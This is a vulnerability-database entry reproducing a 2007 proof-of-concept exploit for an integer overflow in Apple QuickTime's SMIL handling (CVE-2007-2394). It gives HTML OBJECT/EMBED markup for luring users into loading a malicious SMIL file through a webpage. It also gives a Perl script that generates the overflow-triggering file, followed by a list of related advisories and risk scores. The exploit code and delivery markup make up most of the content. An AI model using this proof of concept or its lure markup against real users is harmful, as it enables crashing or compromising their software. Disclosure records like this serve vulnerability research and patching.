Apple Quicktime < 7.2 - SMIL Remote Integer Overflow PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType

QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC, luring users to run malicious SMIL file via webpage using OBJECT and EMBED tag

Reporter	Title	Published	Views	Family All 18
0day.today	Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC	3 Sep 200700:00	–	zdt
Tenable Nessus	QuickTime < 7.2 Multiple Vulnerabilities	12 Jul 200700:00	–	nessus
Tenable Nessus	QuickTime < 7.2 Multiple Vulnerabilities (Mac OS X)	12 Jul 200700:00	–	nessus
Check Point Advisories	Apple QuickTime SMIL File Handling Integer Overflow (CVE-2007-2394)	16 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2007-2394	15 Jul 200721:00	–	cve
Cvelist	CVE-2007-2394	15 Jul 200721:00	–	cvelist
Exploit DB	Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities	11 Jul 200700:00	–	exploitdb
Exploit DB	Apple QuickTime < 7.2 - SMIL Remote Integer Overflow	3 Sep 200700:00	–	exploitdb
exploitpack	Apple QuickTime 7.2 - SMIL Remote Integer Overflow	3 Sep 200700:00	–	exploitpack
exploitpack	Apple QuickTime 7.1.5 - Information Disclosure Multiple Code Execution Vulnerabilities	11 Jul 200700:00	–	exploitpack


                                                ----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------

This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

&#60;OBJECT
  CLASSID=&#34;clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B&#34;
  CODEBASE=&#34;http://www.apple.com/qtactivex/qtplugin.cab&#34;
  WIDTH=&#34;10&#34; HEIGHT=&#34;10&#34; &#62;
  &#60;!-- malicious SMIL file --&#62;
  &#60;PARAM NAME=&#34;src&#34; VALUE=&#34;poc.smil&#34; /&#62;
  &#60;EMBED
    &#60;!-- available .qtif or .mov file to start up QT for FF --&#62;
    SRC=&#34;available-sample.qtif&#34;
    &#60;!-- malicious SMIL file --&#62;
    QTSRC=&#34;poc.smil&#34;
    WIDTH=&#34;10&#34; HEIGHT=&#34;10&#34;
    PLUGINSPAGE=&#34; www.apple.com/quicktime/download&#34;
    TYPE=&#34;video/quicktime&#34;
  /&#62;
&#60;/OBJECT&#62;

----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------

#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes &#60;d.vaartjes at gmail.com&#62;
####

$file = &#34; poc.smil&#34;;
$padd = &#34;x&#34;;
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,&#34;&#62;$file&#34;) or die &#34;Can&#39;t open file:$!&#34;;

print FH
 &#34;&#60;smil&#62;\n&#34;.
 &#34;&#60;head&#62;\n&#34;.
 &#34; &#60;meta name=\&#34;title\&#34; content=\&#34;&#34;.$padd x $tit_len.&#34;\&#34;/&#62;\n&#34;.
 &#34; &#60;meta name=\&#34;author\&#34; content=\&#34;&#34;.$padd x $auth_len.&#34;\&#34;/&#62;\n&#34;.
 &#34; &#60;meta name=\&#34;copyright\&#34; content=\&#34;&#34;.$padd x $cop_len.&#34;\&#34;/&#62;\n&#34;.
 &#34;&#60;/head&#62;\n&#34;.
 &#34;&#60;/smil&#62;&#34;;

close(FH);

# milw0rm.com [2007-09-03]

01 Jul 2014 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.43326